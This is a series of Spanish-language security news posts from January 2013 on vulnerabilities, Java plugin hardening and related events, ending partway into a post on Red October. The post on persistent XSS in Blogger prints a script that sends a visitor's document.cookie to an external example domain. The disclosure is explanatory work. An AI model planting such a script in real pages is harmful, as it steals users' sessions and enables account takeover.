jueves, 31 de enero de 2013

Wireshark corrige nueve vulnerabilidades en su última actualización

Se ha publicado la versión de Wireshark 1.8.5/1.6.13 que soluciona nueve vulnerabilidades que pueden provocar denegación de servicio a causa del procesamiento de varios disectores.

Wireshark es una aplicación de auditoría orientada al análisis de tráfico en redes. Su popularidad es muy elevada, puesto que soporta una gran cantidad de protocolos y es de fácil manejo. Además Wireshark es software libre (sujeto a licencia GPL) y se ejecuta sobre la mayoría de sistemas operativos Unix y compatibles, así como en Microsoft Windows.

Los disectores afectados son: CLNP, DTN, MS-MMC, DTLS, DCP-ETSI, y el propio motor de disección que contiene un error. También el disector NTLMSSP se ve afectado por un desbordamiento de memoria.

Los siguientes disectores pueden provocar bucles infinitos: Bluetooth HCI, CSN.1, DCP-ETSI DOCSIS CM-STAUS, IEEE 802.3 Slow Protocols, MPLS, R3, RTPS, SDP y SIP.

Las versiones afectadas son la rama 1.8 (1.8.0 a 1.8.4,) y 1.6 (de 1.6.0 a 1.6.12). Todas las vulnerabilidades podrían ser explotadas a través de la inyección de paquetes en la red, o convenciendo a un usuario para que abriese un fichero de captura de tráfico especialmente manipulado.

Las nuevas versiones están disponibles para su descarga en:

Más información:

Wireshark 1.8.5 and 1.6.13 Released



Fernando Castillo

miércoles, 30 de enero de 2013

Mejorar y entender la seguridad del plugin de Java (III)

El plugin de Java se está convirtiendo en un serio problema de seguridad, llevamos meses comprobándolo. Oracle ha añadido seguridad en su configuración por defecto, y ofrecido más granularidad a los usuarios. Pero todavía es mejorable. ¿Para qué sirven las nuevas funcionalidades y qué se puede esperar de ellas?

Los atacantes tienen varias posibilidades. Para el usuario, la opción por defecto (seguridad "alta", explicada en la entrega anterior) es preguntar si se quiere ejecutar un applet no firmado, con un diálogo como este:


Si los atacantes no lo firman, confiarán en que el usuario con la configuración por defecto, simplemente acepte la "invitación". Pero pueden afinar con un poco de "ingeniería social". Una opción es, sencillamente, autofirmar sus applets. Esto no requiere ninguna inversión.  Pero los applets autofirmados (o firmados por una CA que no sea de confianza para Java), tampoco considerados "de confianza". Supongamos que un atacante intenta ejecutar un applet autofirmado en un usuario con la configuración por defecto, la víctima obtendrá este mensaje:


Como vemos, el "publicador" y el nombre pueden ser sustituidos por cualquier palabra, dando confianza a la amenaza. Esto, al contrario de lo que se pretende con la alerta, puede permitirles ganar cierto grado de "confianza" en la víctima, aunque se necesiten un "click" más por parte del usuario.

Si el applet está correctamente firmado y garantizado por una CA válida, el diálogo que aparecerá será el siguiente



Que no se diferencia demasiado del autofirmado, y que podría confundir igualmente al usuario medio... En resumen, la principal diferencia entre una firma de verdad y el autofirmado en un applet es un botón de "Ejecutar" deshabilitado y que la víctima debe aceptar un "Entiendo los riesgos...", cosa que si hace el usuario medio, confirma exactamente lo contrario.

¿Qué hacer entonces?

Las vulnerabilidades de diseño de Java siguen ahí, y es cuestión de tiempo que se hagan públicas. Los atacantes han perdido un importante filón: desde la versión 7u10 las instalaciones completamente silenciosas no serán tan sencillas. Ahora tienen la opción de seguir sin firmar sus applets o de autofirmar. Incluso la de invertir y firmar sus applets (por menos de 100 euros al año se puede conseguir un certificado). Pero entonces ya no necesitarían de vulnerabilidades... También pueden seguir buscando vulnerabilidades que incluso puedan eludir los niveles de seguridad y seguir ejecutando applets de forma silenciosa.

Hay que evitar pues, si no hay más remedio que usar Java, la ejecución de applets no firmados o autofirmados. De los firmados, permitir, solo los sean los estrictamente necesarios. Para empezar, sería necesario impedir que los no firmados se ejecuten. Eso se consigue elevando la seguridad a "muy alta". Así, si se intenta cargar un applet no firmado se conseguirá un bloqueo directo:


No está de más quitar el permiso a applets autofirmados. Esto se consigue desmarcando la opción "Permitir el otorgamiento de acceso elevado a aplicaciones autofirmadas". Si se intenta cargar un applet de este tipo, aparecerá un diálogo como el que sigue.


¿Y si los atacantes firman sus applets "legítimamente"? Esto no es raro, bien porque inviertan en certificados bien porque los roben (los últimos incidentes en CA hacen que esto no solo sea una posibilidad, sino que además sea probable). En estos casos con el tiempo meterían en la lista negra los certificados y por tanto dejarían de ser de confianza, pero mientras tanto, es necesario hacer una lista blanca. O sea, conocer qué certificados firman los applets que necesito, y eliminar el resto del almacén.

Pero también se puede hacer mucho por mejorar la seguridad desde el navegador y con otras opciones. Lo veremos en la próxima entrega.

Más información:

una-al-dia (28/01/2013) Mejorar y entender la seguridad del plugin de Java (I)

una-al-dia (29/01/2013) Mejorar y entender la seguridad del plugin de Java (II)
  


Sergio de los Santos
Twitter: @ssantosv

martes, 29 de enero de 2013

Mejorar y entender la seguridad del plugin de Java (II)

El plugin de Java se está convirtiendo en un serio problema de seguridad, llevamos meses comprobándolo. Oracle ha añadido seguridad en su configuración por defecto, y ofrecido más granularidad a los usuarios. Pero todavía es mejorable. ¿Para qué sirven las nuevas funcionalidades y qué se puede esperar de ellas?

Niveles de seguridad y versiones seguras

En este sentido de control de certificados y versiones, en la versión 7u10 se introdujeron los niveles de seguridad y la "autoconciencia" de ser una versión "insegura". Recordemos que la seguridad se basa fundamentalmente en contener la ejecución de applets dañinos que puedan eludir la sandbox y para eso la clave está en la criptografía (hay que luchar contra los applets no firmados) y e la actualización de la propia máquina virtual.

Con respecto a la actualización, el problema (lógico) es que para cuando Oracle emite la "alarma" de que la versión es insegura (no es la última), es porque ya se han encontrado problemas de seguridad.

Con respecto a los niveles de seguridad, actualmente el nivel por defecto es "alto". Veamos los niveles:

  • Bajo: Los applets no firmados se ejecutarán de forma automática en el sistema sin preguntar. Solo se lanzará una pregunta al usuario si los propios applets piden acceso a recursos protegidos o quieran ejecutarse sobre una versión antigua. Una manía de Oracle es dejar que convivan versiones de la máquina antiguas en el sistema y los applets pueden elegir cuál. Hay que eliminarlas.
        
  • Medio: Solo si la versión de Java se considera segura (no se detecta una más reciente), los applets no firmados se ejecutarán en el sistema de forma automática. Si Java detecta una versión nueva online, se ofrecerá un diálogo al usuario antes de lanzar los applets. Lógicamente, la versión más reciente se considera "segura" oficialmente. Así, estando "actualizado", los applets no firmados se ejecutarán de forma automática, con lo que este nivel no protege en absoluto durante la ventana de tiempo entre que se explota un fallo y se saca una nueva versión.
        
  • Alto: Se preguntará al usuario siempre que se intente ejecutar un applet no firmado, independientemente de la versión o su comportamiento. Además aparecerá esta alerta si se tiene una versión antigua.
       

   
  • Muy alto: No se ejecutarán los applets no firmados bajo ningún concepto. Obviamente la opción "Muy alto" es la mejor, puesto que los applets de los atacantes no suelen estar firmados. Si se eleva a ese nivel, aparecerá este mensaje:



¿Qué harán los atacantes para eludir estas nuevas restricciones y seguir infectando a usuarios? Veremos algunas alternativas en la próxima entrega.

Más información:

una-al-dia (28/01/2013) Mejorar y entender la seguridad del plugin de Java (I)



Sergio de los Santos
Twitter: @ssantosv

lunes, 28 de enero de 2013

Mejorar y entender la seguridad del plugin de Java (I)

El plugin de Java se está convirtiendo en un serio problema de seguridad, llevamos meses comprobándolo. Oracle ha añadido seguridad en su configuración por defecto, y ofrecido más granularidad a los usuarios. Pero todavía es mejorable. ¿Para qué sirven las nuevas funcionalidades y qué se puede esperar de ellas?

Lo primero que es necesario entender cuáles son los riesgos de los applets de Java. La máquina virtual Java es la encargada de ejecutarlos y, por seguridad, los mantiene dentro de una "sandbox". Esto quiere decir que no les permite acceder al disco, ejecutar código... ¿Por qué son peligrosos entonces? Porque existen situaciones en las que las que se les permite a esos applets salir de la sandbox. Si ocurre esto, el applet se convierte a efectos prácticos en un ejecutable (puede hacer prácticamente cualquier cosa con los permisos con los que se ejecuta). ¿Bajo qué circunstancias pueden salir de la sandbox?

  • Oficialmente, solo cuando los applets están firmados por una entidad certificadora válida. Las entidades certificadoras válidas se pueden ver por la interfaz. Esas entidades pueden ser modificadas a través del fichero C:\Program Files\Java\jre7\lib\security\cacerts. Con "keytool" y sus opciones de "delete" e "import", se pueden configurar. Pero en las opciones de seguridad avanzada de Java, también se permite "Usar los certificados y claves del almacén de claves del explorador", con lo que hay que tenerlo en cuenta. Se puede confiar en más certificadoras de las que se cree.


  • Un applet puede salir de la sandbox (aunque no esté firmado), por culpa de una vulnerabilidad en la propia implementación de la máquina virtual. Si la implementación de la máquina Java en sí (la parte escrita en C) contiene un desbordamiento de memoria intermedia, por ejemplo, puede que sea explotada y se ejecute código. Estas serían vulnerabilidades "clásicas" que atacan a la implementación. Su mitigación es como cualquier otra vulnerabilidad en un programa: usar herramientas antipayload, antiexploit... y por supuesto, mantenerse actualizado.
        
  • Por último, un applet puede escapar de la zona de seguridad por un fallo de diseño "del lenguaje" que se lo permita. Las últimas vulnerabilidades más graves en Java han sido por esta razón (invocando clases privilegiadas desde código no confiable, serialización...). Esta es una de las razones por las que se insiste en deshabilitar por completo el plugin, puesto que supone un grave problema. Son un fallo intrínseco de diseño, que requieren un cambio profundo y que no serán solucionadas a corto plazo. Se sabe que la última versión sigue siendo vulnerable en este sentido y todavía quedan vulnerabilidades (fórmulas para eludir la sandbox) que descubrir.


¿Cómo defenderse? Deshabilitar Java si no se usa. Pero esto no siempre es posible. Eliminar el problema no es una solución para todo el mundo, sino otro problema adicional si de verdad se necesita esta funcionalidad. Además, Java tiene el problema de que "no tiene competencia". Solo queda entender cómo protegerse de manera más eficaz. Puesto que se trata de contener la ejecución de applets dañinos que puedan eludir la sandbox, la clave está en:

  • La criptografía: hay que luchar contra los applets no firmados (no suelen aportar nada bueno), autofirmados (son sospechosos), y vigilar estrechamente los firmados (aun así el firmado solo garantiza al autor, no sus intenciones).
         
  • Actualización: No permitir que ciertos applets se lancen en versiones antiguas para evitar que se aprovechen de vulnerabilidades conocidas.


En este sentido de control de certificados y versiones, en la versión 7u10 se introdujeron los niveles de seguridad y la "autoconciencia" de ser una versión "insegura". Lo veremos en detalle la próxima entrega.



Sergio de los Santos

Twitter: @ssantosv

domingo, 27 de enero de 2013

Reseña del libro "Hacker Épico"

La sorpresa de la temporada. Un libro que innova en los esquemas de los manuales de seguridad "al uso" (centrados en los tests de intrusión), utilizando la ficción y la novela negra como vehículo conductor. Pero, ¿es un libro técnico envuelto en una novela o una novela negra con (por primera vez) detalles técnicos impecables y detallados? Veamos. En todo caso, un acierto y un libro excelente.

Hacker Épico es un libro escrito por Alejandro Ramos y Rodrigo Yepes sobre seguridad informática, test de intrusión y "hacking" en su más romántico sentido. En principio Alejandro pretendía escribir un manual al uso y confesó quedar frustrado con el resultado una y otra vez. Se salió de la espiral reventando el esquema. ¿Por qué no una historia de novela negra, en la que los detalles actuasen como una especie de libro técnico? El protagonista avanza en la historia resolviendo problemas con un hiperrealismo de manual, algo que no se ha visto en ficción hasta ahora en seguridad.

Hubiera sido sencillo caer en el error de centrarse en la historia y meter con calzador detalles técnicos, sin contexto, sobredimensionados o incluso fuera de lugar. Pero cada prueba superada del protagonista está en su justa medida explicada, justificada y resuelta con ingenio y técnica impecable. Este aspecto lo han resuelto perfectamente, encontrando el equilibrio sin que agote lo "técnico" frente a la historia.

Tampoco hay que esperar una historia simple, sencilla o simplemente sin interés. Muy al contrario, la intriga avanza a buen ritmo, desde el principio, y los personajes están bien definidos como para mantener el interés en ellos y querer continuar la lectura. Este es un gran punto fuerte: la parte de ficción no chirría, de forma que sorprendentemente, el libro podría ser disfrutado por técnicos y amantes de la novela negra en general.

Y es que es un "manual técnico" conducido por una "novela negra de manual". Reúne todas las características de una novela de acción con el "detective" (en este caso un técnico de seguridad) como protagonista, siempre en primera persona. Una historia sin elipsis temporales (todo ocurre en apenas una semana), en un ambiente con buenos, malos, policías, intrigas, pistolas, matones y por supuesto, la chica. En este aspecto, la novela cumple perfectamente. Sin introducir novedades, pero es extremadamente efectiva. Cada capítulo está resuelto inteligentemente, de forma que se quiere continuar. Las pequeñas subtramas están bien llevadas, sin cansar.

Tampoco agotan los aspectos técnicos. Las ganas de que el protagonista resuelva el problema y sus razonamientos detallados te hacen prestar interés en la parte técnica tanto si te interesa como si no. Es un placer encontrar un problema de seguridad resuelto de forma totalmente realista en una novela.

En el aspecto técnico, en la historia el protagonista se enfrenta a redes WiFi, iPhones, redes corporativas, forenses, servidores web... No cubre, por tanto, ninguna metodología concreta ni su totalidad. Se podrían clasificar de "trucos" ante problemas concretos, resueltos profesionalmente, bien explicados, sin fuegos artificiales ni grandes revelaciones. No es, en ningún caso, un sustituto de un manual de seguridad.

Los personajes (si bien un poco estereotipados, pero así son las novelas negras) cumplen y se les ha dotado de una personalidad interesante. Los autores dejan ver sus preferencias por todo el texto, con continuas (y divertidas) referencias a películas, series y comics de culto. La parte literaria está bien escrita, sin estridencias, errores gramaticales, repeticiones o coletillas que empañen la lectura. Las metáforas, las situaciones y las emociones descritas, están muy bien resueltas.

En resumen, un libro sinceramente recomendado, tanto para técnicos como para cualquier amante de la novela negra (o no). Una genial idea la de utilizar la ficción como vehículo para enseñar técnicas de hacking interesantes, alejándose del aburrido manual. Un engranaje muy bien llevado y repartido donde nada chirría y que gustará a cualquier lector.

Más información:

Hacker Épico


Sergio de los Santos
Twitter: @ssantosv

sábado, 26 de enero de 2013

Publicada la Lección 17 de la enciclopedia intypedia " Datos Personales Guía de Seguridad para Usuarios"


En el servidor Web de intypedia se encuentra disponible como último vídeo destacado en su página principal la Lección 17 de la Enciclopedia de la Seguridad de la Información Intypedia con el título "Datos Personales. Guía de Seguridad para Usuarios", cuya autora es Dña. María Goretti López Deltell de la Agencia de Protección de Datos de la Comunidad de Madrid APDCM.


Puede acceder a la lección "Datos Personales. Guía de Seguridad para Usuarios" desde el sitio Web de intypedia:

y también desde YouTube:

En esta tercera y última lección de la serie patrocinada por la Agencia de Protección de Datos de la Comunidad de Madrid, Alicia y Bernardo nos recuerdan las medidas recomendables para una correcta protección de los datos personales que mantenemos en nuestros sistemas informáticos, así como algunos principios básicos de seguridad y criptografía.

La lección con una duración de 14:01 minutos está formada por 6 escenas:
Escena 1. Riesgos y amenazas
Escena 2. Técnicas de engaño o social engineering y contraseñas
Escena 3. Los desechos informáticos
Escena 4. Ordenadores y dispositivos portátiles
Escena 5. El correo electrónico, el cifrado y la firma electrónica
Escena 6. El documento de seguridad

La lección viene acompañada por 3 documentos en pdf que pueden descargarse desde el sitio Web de intypedia:
1. El guión de la lección:
2. Las diapositivas de apoyo:
3. Los ejercicios de la lección:

En esta ocasión no podemos informar sobre el próximo vídeo de esta enciclopedia visual de la seguridad al no contar con patrocinador.

Los creadores de intypedia confían en que alguna empresa o institución valore este esfuerzo de difusión de la seguridad y patrocine nuevas entregas, de forma que esta despedida no sea para siempre sino un hasta pronto.

  
Jorge Ramió, Alfonso Muñoz
Equipo intypedia

viernes, 25 de enero de 2013

Varias vulnerabilidades en sistemas Cisco WLC

Se han publicado cuatro vulnerabilidades para la familia de productos de Cisco Wireless LAN Controllers (WLC). Dos de ellas permitirían provocar una denegación de servicio, otra un acceso no autorizado y la más grave ejecución de código arbitrario.

Las vulnerabilidades identificadas con los CVE-2013-1102 y CVE-2013-1103 se producen por errores en los manejos de ciertos paquetes IP y SIP respectivamente. En ambos casos se podría realizar una denegación de servicio del dispositivo recargándolo continuamente mediante paquetes IP (relacionados con la función de Wireless Intrusion Prevention System) y SIP (incluso si esta función está deshabilitada) especialmente manipulados.

El error identificado con CVE-2013-1105, reportado a Cisco por Darren Johnson, en el protocolo SNMP permitiría un uso del sistema sin autorización. SNMP (Simple Network Management Protocol) es un protocolo de administración remota de dispositivos de red. Con este fallo un atacante podría ver y modificar la configuración del dispositivo usando este protocolo y sin haberse identificado previamente. Con este acceso se tendría el control total del dispositivo.

La última vulnerabilidad CVE-2013-1104, registrada en la característica 'HTTP Profiling' es la más grave y permitiría la ejecución de código arbitrario en los sistemas afectados mediante el envío de un paquete con la cabecera "UserAgent" especialmente manipulada. Sólo la versión 7.3.101.0 del software está afectada por este error.

La lista de todos los dispositivos afectados es:
  •     Cisco 2000 Series WLC
  •     Cisco 2100 Series WLC
  •     Cisco 2500 Series WLC
  •     Cisco 4100 Series WLC
  •     Cisco 4400 Series WLC
  •     Cisco 5500 Series WLC
  •     Cisco 7500 Series WLC
  •     Cisco 8500 Series WLC
  •     Cisco 500 Series Wireless Express Mobility Controllers
  •     Cisco Wireless Services Module (Cisco WiSM)
  •     Cisco Wireless Services Module version 2 (Cisco WiSM versión 2)
  •     Cisco NME-AIR-WLC Module for Integrated Services Routers (ISRs)
  •     Cisco NM-AIR-WLC Module for Integrated Services Routers (ISRs)
  •     Cisco Catalyst 3750G Integrated WLCs
  •     Cisco Flex 7500 Series Cloud Controller
  •     Cisco Virtual Wireless Controller
  •     Cisco Wireless Controller Software for Integrated Services Module 300 
  •     Cisco Services-Ready Engine 700, 710, 900, y 910

El fabricante ha publicado en su página web la lista completa de versiones afectadas y la solución posible (normalmente actualizar a una versión superior). Las versiones recomendadas son las siguientes: 7.0.235.3, 7.2.111.3, 7.3.110.0 y la 7.4. La rama 7.1 se encuentra afectada y recomienda actualizar urgentemente a la rama 7.2.

Más información:

Multiple Vulnerabilities in Cisco Wireless LAN Controllers


Antonio Sánchez

jueves, 24 de enero de 2013

Corregidas cinco vulnerabilidades en Chrome

Google ha actualizado la nueva rama 24 de su navegador Chrome con la versión 24.0.1312.56, para todas las plataformas (Windows, Mac, Linux y Chrome Frame) que corrige cinco nuevas vulnerabilidades con un nivel de gravedad medio-alto.

Las vulnerabilidades específicas de Chrome son las siguientes según el nivel de impacto:

* Tres vulnerabilidades marcadas con un impacto alto: CVE-2013-0839, relacionada con el manejo de fuentes y que le ha reportado 1000 dólares a Atte Kettunen de OUSPG. CVE-2013-0841, descubierta por el habitual Chris Evans del Google Chrome Security Team, y CVE-2013-0843, que afecta solo a Mac y ha sido descubierta Ted Nakamura del Chromium development community.

* Dos vulnerabilidades de carácter medio: CVE-2013-0840 está relacionada con un problema de validación de URLs (no acreditada) y otra descubierta por el habitual Jüri Aedla de Google, con el código CVE-2013-0842.

Esta actualización está disponible a través del propio navegador vía Chrome Update automáticamente o desde el sitio oficial de descarga:

Más información:

Stable Channel Update


Laboratorio Hispasec

miércoles, 23 de enero de 2013

Cross site Scripting persistente en Blogger


Se ha encontrado un problema de Cross-Site Scripting persistente en Blogger, que podría permitir a un atacante con permisos de escritura de blogs robar la cuenta de administrador. Google no considera el problema una vulnerabilidad en sí.

Blogger es un servicio de publicación de bitácoras en línea de Google. Lleva activo desde el año 2000 y se considera el precursor del uso de formularios web para la publicación de contenido.

Un ataque Cross-site Scripting o XSS se basa en que una página web no filtra correctamente ciertos caracteres especiales y permite ejecutar código JavaScript. Dentro del XSS existen dos tipos, el persistente y el no persistente.

Con el XSS no persistente se consigue que, mediante una URL especialmente modificada, en la web afectada se obtenga otro resultado. Hace 2 años se realizó un ataque XSS no persistente muy sonado en la página web de la "Presidencia Española de la EU", cambiando elvídeo de bienvenida del entonces presidente, por una foto de Mr. Bean (aunque podía haber sido cualquier otra).


Si se entraba a la página a través de la URL "normal", se veía la página en perfecto estado, pero el atacante en este caso publicitó una URL manipulada a través que las redes sociales que cargaba la imagen de Mr. Bean desde otro punto.

El otro tipo es el XSS persistente, que puede resultar bastante más peligroso. Este tipo de ataques se producen igualmente al no comprobar los datos de entrada en una web, normalmente formularios y quedan "grabados". El atacante puede introducir un código JavaScript que quedará almacenado en la base de datos y cuando un usuario legítimo visite la web, esta cargará ese código.

El fallo en Blogger consiste en un XSS persistente al publicar una noticia. Al almacenar la publicación en la base de datos, el sistema no filtra correctamente las etiquetas '<script>', utilizadas para ejecutar código JavaScript.

Así pues, si publicamos una entrada en formato HTML con el texto <script>alert('hola')</script>, el visitante al entrar verá algo así:



Pero también es posible robar información como las cookies, accediendo a los datos con JavaScript y enviándolos a una página externa en los que queadarán recogidos. Por ejemplo:

<script>document.location="http://dominioconXSS.com/script_manipulado.php?cookie="
+
document.cookie;document.location="http://www.dominiodelatacante.com"</script>

Y el 'script_manipulado.php' se encargaría de recoger la cookie. Con esta información un atacante podría por ejemplo acceder con la misma sesión suplantando a la víctima.

Google no considera en general la "autoinclusión" de JavaScript una vulnerabilidad, y así lo indica desde hace tiempo en su programa de recompensas:

"Execution of owner-supplied JavaScript on Blogger: Blogger users are permitted to place custom JavaScript in their own blog templates and blog posts; our take on this is that blogs are user-generated content, not different from any third-party website on the Internet. Naturally, for your safety, we do employ spam and malware detection technologies - but we believe that the flexibility in managing your own content is essential to the success of our blogging platform.
 Therefore, the ability to execute owner-supplied scripts on your own blog is not considered to be a vulnerability. That being said, the ability to inject arbitrary JavaScript onto somebody else’s blog would likely qualify for a reward!"

En realidad, Google defiende que el usuario debe poder ejecutar código JavaScript en sus entradas, para proporcionar más flexibilidad. Lógicamente, luchará contra el uso en técnicas de spam y malware a través de estos métodos, pero no puede restringir el uso de JavaScript a un usuario que puede incluir cualquier contenido en su web.

Aunque lo que afirma Google es cierto, el problema de esta vulnerabilidad vendría en el caso de que el blog sea usado por colaboradores externos y administradores. Los colaboradores o editores pueden introducir contenido (también JavaScript) en las entradas, pero no pueden administrar el sitio. Si el administrador visualiza esas entradas para moderarlas, los editores podrían obtener información y "elevar" privilegios.

Más información:

Full disclosure - XSS Persistent in Blogspot of Google

Google - Vulnerability Reward Program

una-al-dia (04/01/2010) El falso "hackeo" de la web de la presidencia española, XSS y lecciones para aprender


Antonio Sánchez

Sergio de los Santos
Twitter: @ssantosv

martes, 22 de enero de 2013

Hispasec participa en la gira Up to Secure 2013


Hispasec participa en la gira Up to Secure 2013, un evento gratuito en elque se ofrecerán charlas tecnológicas sobre seguridad y gestión de sistemas. Aunque la gira se dilata durante todo el mes de enero, Hispasec solo participará en la edición de Málaga.

Durante todo el mes de enero, Veeam Software, Microsoft, Informática 64 y otras compañías, recorrerán diez ciudades españolas para mostrar cómo preparar los entornos de funcionamiento de los equipos de hoy en día para proporcionar, de forma segura, los servicios de movilidad demandados en la actualidad.

En el caso de Hispasec, se hablará de la situación actual del malware y las medidas disponibles para mitigarlo. Dirigido a responsables de sistemas, administradores de tecnología, auditores y responsables de seguridad e IT Pros, el registro es gratuito y la agenda programada es la siguiente:

  • 09:00-09:15             Registro
  • 09:15-10:00             Veam Software: Tecnología de primer nivel para asegurar su producción virtualizada
  • 10:00-10:45             Windows Server 2012: Demo Madness
  • 10:45-11:15             Café
  • 11:15-11:45             Telefónica Talentum Startups
  • 11:45-12:30             Informática 64: IPv6 Security
  • 12:30-13:15             Hispasec: Malware State of war
  • 13:15-13:30             Ruegos y Preguntas a los ponentes
    Telefónica realizará una prueba de selección a las personas que quieran participar en las becas Talentum
        
  • 13:30-14:30             Prueba de Selección Talentum
    Por la tarde se podrán quedar al IT Camp todas las personas que quieran, para ello será necesario que asistan con su ordenador portátil configurado con unos determinados requisitos que se les enviará.
        
  • 15:30-18:30              IT Camp: Despliegue de apps en Windows 8


Más información y registro en http://www.informatica64.com/uptosecure2013/

Más información:

Up to Secure 2013




Sergio de los Santos
Twitter: @ssantosv

lunes, 21 de enero de 2013

Tres titulares tras el parche de Java


Aún no se ha asentado el polvo que levantó el último 0-day en Java y su posterior parche, cuando desde varios frentes ya se están dando detalles de nuevos problemas y vulnerabilidades. Incluso ha sido probado que esta última actualización no soluciona correctamente el fallo. Tres problemáticos "titulares" para Oracle después de la rápida respuesta al último incidente y sus medidas contra los applets no firmados.

Nuevo exploit de Java se vende por 5.000 dolares

Por un lado, Brian Krebs anunciaba en su blog, solo un día después de la publicación del parche, que en un foro privado ya se estaba vendiendo un exploit para una vulnerabilidad desconocida de Java. Según Krebs, el conocido administrador del foro ofrecía a un segundo comprador (ya había sido vendido un vez) una copia del exploit. Este se ofrecía tanto en código fuente como listo para ser usado. El precio era de 5.000 dolares. Se aseguraba que el exploit era funcional con la última versión de Java publicada el día anterior y que además era exclusivo, ya que no se encontraba en ningún kit de exploits.

Poco después, según Krebs, el mensaje fue eliminado. Tampoco existen pruebas de concepto conocidas para este supuesto exploit, así que hay que tomar la noticia con cautela.

Confirmado: Java solo ha solucionado uno de los bugs

Tal y como ha sido analizado por varios investigadores, y según define la vulnerabilidad el NIST (CVE-2013-0422), el exploit de Java que se encontró utilizaba dos fallos de diseño para ejecutarse. En primer lugar, hace uso del método público getMbeanInstantiator para obtener una referencia a objetos MbeanInstantiator privados. Después, a través del método findClass, acceder a clases en teoría restringidas.

Posteriormente, utilizaba la API de Reflection de forma recursiva para aprovechar un fallo en la limpieza en la pila de llamadas (como ha sido analizado recientemente) y poder crear las instancias de las clases obtenidas en el paso anterior.

Tras la publicación del parche, el equipo de Immunity realizó un análisis del código corregido, y ha comprobado que el primero de los pasos todavía puede llevarse a cabo. Oracle solo ha bloqueado el sistema para eludir las restricciones de Java, dejando el problema de carga de clases restringidas en el código. En el post publican una prueba de concepto que permite cargar, a través del proceso descrito, clases restringidas arbitrarias en la última versión de Java.

Este fallo no es explotable de por sí, pero combinado con otra vulnerabilidad que permitiera eludir las restricciones de Java significaría que podría seguir explotándose como hasta ahora.

Además aclaran por qué, al contrario que se afirmaba al principio, el fallo no puede explotarse en la versión 6 de Java.

Java 7 Update 11 es vulnerable

Y lo dice Adam Gowniak, el CEO de Security Explorations, que ha descubierto 49 vulnerabilidades en Java durante 2012. En un mensaje a la lista de correo Full Disclosure, asegura que se han encontrado dos nuevas vulnerabilidades que permiten el salto de la sandbox en la última versión de Java. Identificadas como fallos 51 y 52, ya han sido reportadas a Oracle junto con pruebas de concepto funcionales, y están siendo investigadas por la compañía.

Aunque no ha dado detalles técnicos, asegura que no están relacionadas con el fallo en MbeanInstantiator descrito arriba, pero sí "inspiradas" en el.

Más información:

New Java Exploit Fetches $5,000 Per Buyer

Confirmed: Java only fixed one of the two bugs.

CVE-2013-0422 – aka: Java 2013 0day 1 – and inofficial patch

[SE-2012-01] Java 7 Update 11 confirmed to be vulnerable

Vulnerability Note VU#625617


 Francisco López

domingo, 20 de enero de 2013

Discutida vulnerabilidad en routers Cisco Linksys


La empresa de seguridad croata DefenseCode publicó la semana pasada un aviso de seguridad en el que señalaba la existencia de una vulnerabilidad grave en los routers Linksys. Aunque Cisco reconoce la vulnerabilidad, existe una discusión sobre los modelos afectados y su gravedad.

La vulnerabilidad permite el acceso como superusuario al sistema Linux que corre en el dispositivo, y está presente en la última versión del firmware para Linksys (4.30.14) y todas las versiones previas. DefenseCode ha publicado un vídeo donde se puede ver la explotación del fallo.


Pero en el vídeo solo se puede observar la ejecución de un programa y la posterior aparición de una shell en un sistema que parece ser el router, sin más detalles del método utilizado.

La vulnerabilidad fue reportada a Cisco hace meses, obteniendo como respuesta que se había solucionado en la última versión del firmware. Según DefenseCode, esto no es correcto. En su aviso de seguridad, se afirma que el problema ha sido probado en el dispositivo WRT54GL, y que otros modelos (incluso de otras marcas) podrían estar afectados.

Aunque Cisco no ha hecho declaraciones por vías oficiales al respecto, sí ha enviado un comunicado al sitio The Register, donde confirma el fallo solo en el modelo WRT54GL y anuncian que se está desarrollando un parche. Tampoco desvelan mucho sobre la vulnerabilidad, pero ciertas recomendaciones a los usuarios afectados pueden dar alguna pista:

"Until this time, customers using the WRT54GL can stay safe by ensuring their wireless network is securely configured, and the only people using an Ethernet cable for connecting to the router are friends".

De lo que se desprende que Cisco considera la vulnerabilidad explotable solo a través de la red interna de router.

En respuesta a esto, DefenseCode asegura en su blog que, de nuevo "probablemente", al menos otro modelo de Linksys está afectado e incluso otras marcas y que siguen investigando. Según su política, en dos semanas desde que publicaron el aviso (sobre el día 24 de enero), darán los detalles técnicos del problema.

Más información:

UPCOMING: Cisco Linksys Remote Preauth 0day Root Exploit

DefenseCode Security Advisory (UPCOMING): Cisco Linksys Remote Preauth
0day Root Exploit Follow-Up

Linksys vuln: Cisco responds





Francisco López

sábado, 19 de enero de 2013

Adobe corrige varias vulnerabilidades en ColdFusion 10 y 9

Adobe ha publicado un boletín de seguridad que corrige cuatro vulnerabilidades que se están explotando en su servidor de aplicaciones ColdFusion bajo cualquier plataforma (Windows, Mac y Unix). De estas, dos de ellas permiten a un atacante remoto ganar privilegios de administrador en el servidor.

ColdFusion es una solución de Adobe para la creación de aplicaciones en Internet e Intranets que agrupa un servidor de aplicaciones, un lenguaje de marcado y scripting (ColdFusion Markup Language o CFML) que lo acompaña y en el que normalmente se escriben las aplicaciones (aunque acepta otros lenguajes), y un entorno de desarrollo propio.

El boletín ha sido calificado por Adobe con importancia crítica y de prioridad 1. Esta calificación se da a las vulnerabilidades que están siendo, o tienen alto riego de ser, explotadas de manera activa. La empresa, en el boletín, reconoce que ya existen reportes de la explotación de estas vulnerabilidades. Afectan a las versiones 10 y 9.0.x de la aplicación.

En concreto, dos de ellas (CVE-2013-0625 y CVE-2013-0632) pueden ser utilizadas por un atacante remoto para obtener privilegios de administrador en el sistema a través de un salto en el proceso de autenticación. Ambas se dan cuando se ha deshabilitado el sistema de autenticación, o está habilitado pero no se ha seleccionado ninguna contraseña. Mientras que la primera afecta solo a las versiones 9.0.x del servidor, la segunda también se encuentra en la versión 10.

Sobre los otros dos fallos corregidos, uno (CVE-2013-0629) permitiría, a través de un ataque de directorio transversal, visitar directorios restringidos, mientras que el otro (CVE-2013-0631), sobre el que no se han dado más datos, podría causar la revelación de información sensible.

Adobe ya publicó el pasado 4 de enero un aviso de seguridad, en principio con las vulnerabilidades CVE-2013-0625, CVE-2013-0629, CVE-2013-0631, a la que más tarde se le uniría la  CVE-2013-0632. El parche se ha lanzado 12 días después.

Más información:

Security update: Hotfix available for ColdFusion

Security Advisory for ColdFusion


Francisco López

viernes, 18 de enero de 2013

Operación octubre rojo: un malware muy "personal" (y II)

Kaspersky vuelve a descubrir un malware dirigido a las "altas esferas" que parece haber pasado desapercibido mucho tiempo y programado por especialistas con intereses muy concretos. Surge la inmediata comparación con TheFlame, pero parece que no llega a ese nivel de sofisticación. Se ha llamado "Operación octubre rojo".

Difusión

